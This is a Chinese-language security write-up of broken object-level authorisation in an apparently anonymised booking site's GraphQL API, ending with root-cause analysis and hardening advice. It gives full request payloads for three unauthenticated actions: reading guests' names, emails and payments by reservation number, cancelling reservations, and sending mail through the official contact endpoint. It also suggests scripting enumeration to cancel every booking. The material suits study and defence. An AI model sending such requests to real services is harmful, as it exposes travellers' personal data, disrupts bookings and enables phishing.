0x01 故事背景
我总觉得 GraphQL 的流行就像一把双刃剑。它在赋予前端极高灵活性的同时,也常常让后端开发者陷入“鉴权配置复杂”的泥潭。
最近在研究某知名全球度假租赁平台时,原本只是想看看它的前端架构,却在 Network 面板里发现了一些有趣的“蛛丝马迹”。谁能想到,一个看似安全的 GraphQL 端点,竟然隐藏着通往数万名旅客隐私数据的“暗门”?
0x02 信息收集
在对 booking.target-travel.com 进行常规侦察时,我注意到该站采用了 Apollo Server 来处理核心业务。GraphQL 的路径通常很固定,这里的目标是 /gateway/graphql。
在尝试构造请求时,系统提示需要 x-hvmi-csrf-token。
经验告诉我:如果后端严重依赖 CSRF Token 却不校验 Session,那么防护往往是脆弱的。
我翻遍了前端 JavaScript 代码,发现了一个关键点:这个 Token 竟然是在用户访问任意页面(哪怕是未登录的搜索页)时,由前端脚本通过特定的 GraphQL 初始化调用直接返回的。
逻辑推导: 既然 Token 对全网匿名用户公开,且不绑定用户身份(Session),那么它就形同虚设。拿到它,我就拿到了进一步探索 API 的“门票”。

0x03 漏洞利用
Step 1: 获取“通行证”
通过简单的拦截,我获取了当前的 CSRF Token:
x-hvmi-csrf-token: k46rGvSi-j******UQreklI
Step 2: 敏感信息泄露(IDOR & PII Leak)
我开始研究 Schema(模式)。在众多的 Query 中,reservationDetails 显得格外亮眼。我尝试构造了一个查询,传入了一个随机的预订号:
Payload:
POST /gateway/graphql HTTP/1.1
Host: booking.target-travel.com
Content-Type: application/json
x-hvmi-csrf-token: [YOUR_TOKEN]
{
"operationName": "reservationDetails",
"variables": { "reservationNumber": "99000001" },
"query": "query reservationDetails($reservationNumber: ID!) {
reservationDetails(confirmation_id: $reservationNumber) {
guest_first_name,
guest_last_name,
guest_email_address,
check_in_date,
payment_info { payment_amount, payment_currency }
}
}"
}

瞬间转换:
当我点击“发送”的那一刻,我并没有收到预期的 401 Unauthorized 或 403 Forbidden。相反,服务器返回了 null。
关键点: 服务器返回 null 而不是报错,说明后端已经执行了查询逻辑,只是没找到对应的预订号!这意味着:只要我枚举出有效的预订号,我就可以获取全球任何一位客人的真实姓名、邮箱、入住日期甚至支付金额。
Step 3: 毁灭性打击——任意预订取消
如果只能看数据,那还只是“偷窥”;但如果能操作数据,那就是“劫持”。
我发现了 cancelReservation 这个 Mutation。
Payload:
{
"query": "{ cancelReservation(confirmation_id: \"VALID_ID_HERE\") }"
}

注:对不存在的预订号返回 false,但关键点是API未返回认证错误,
请求被正常处理。使用有效预订号可能直接取消他人预订
经过测试,该操作同样完全不需要用户登录。攻击者只需通过简单的脚本遍历预订号,就能在几分钟内取消该平台所有的合法订单。这种业务中断对企业的打击是灾难性的。
Step 4: 额外惊喜——邮件接口滥用
此外,sendContactEmail 接口也被暴露在公网。我可以利用平台的官方域名发送任意内容的邮件,这无疑成了钓鱼攻击者和垃圾邮件发送者的天堂。
POST /gateway/graphql HTTP/1.1
Host: homes.xxx.com
Content-Type: application/json
x-hvmi-csrf-token: oENDcliF-TWly4_1Mmh35WMBpUxS2alvyJiE
{"query":"{ sendContactEmail(freeText: \"test\", topic: \"test\", firstName: \"test\", lastName: \"test\", email: \"nonexistent-test@invalid.test\", time: \"12:00\", date: \"2026-05-07\") }"}

0x04 漏洞危害
- PII 泄露(高危): 泄露字段超过 50 个,包括客人地址、电话、积分使用情况等极度敏感信息。
- 业务中断(高危): 攻击者可以恶意取消他人预订,造成直接经济损失。
- 品牌公信力崩塌: 官方渠道被用于发送垃圾邮件,严重损害品牌声誉。
0x05 防御与思考
作为建设者,我们需要复盘 Root Cause:
- 鉴权逻辑缺失: 这是典型的 Broken Object Level Authorization (BOLA/IDOR)。开发者可能认为 GraphQL 的复杂性本身就是一种保护,却忘记了在每个 Resolver(解析器)中实施强制的身份校验。
- CSRF Token 的误用: 很多人认为有了 CSRF 防护就万事大吉,但如果 Token 不与具体的 User Session 绑定,它对于 API 攻击来说就是透明的。
- 内网接口外露: 像取消预订、发送邮件、修改支付信息等敏感操作,绝不应在没有任何鉴权的情况下暴露在公网 GraphQL 端点中。
加固建议:
- 实施强制鉴权: 在 GraphQL 的 Resolver 层实现统一的权限中间件。确保 reservationDetails 只能由该订单的拥有者或管理员调用。
- 禁用内省查询(Introspection): 在生产环境中关闭 GraphQL 的内省功能,防止攻击者通过分析 JS 包或直接查询轻易获取全量 Schema。
- 引入速率限制(Rate Limiting): 针对预订号查询等敏感接口,实施严厉的速率限制,防止大规模遍历扫描。
- 架构收敛: 敏感的管理/操作类 API 应放置在受保护的内网或通过 VPN 访问,并配合 WAF 拦截非正常的 GraphQL 深度嵌套查询。
结语
这次渗透不仅是一次技术挑战,更是一次关于“安全意识”的警示。在 GraphQL 这种高度自动化的技术背后,依然需要最基础的、最严谨的鉴权逻辑。
Keep Hunting, Keep Coding, Keep Safe.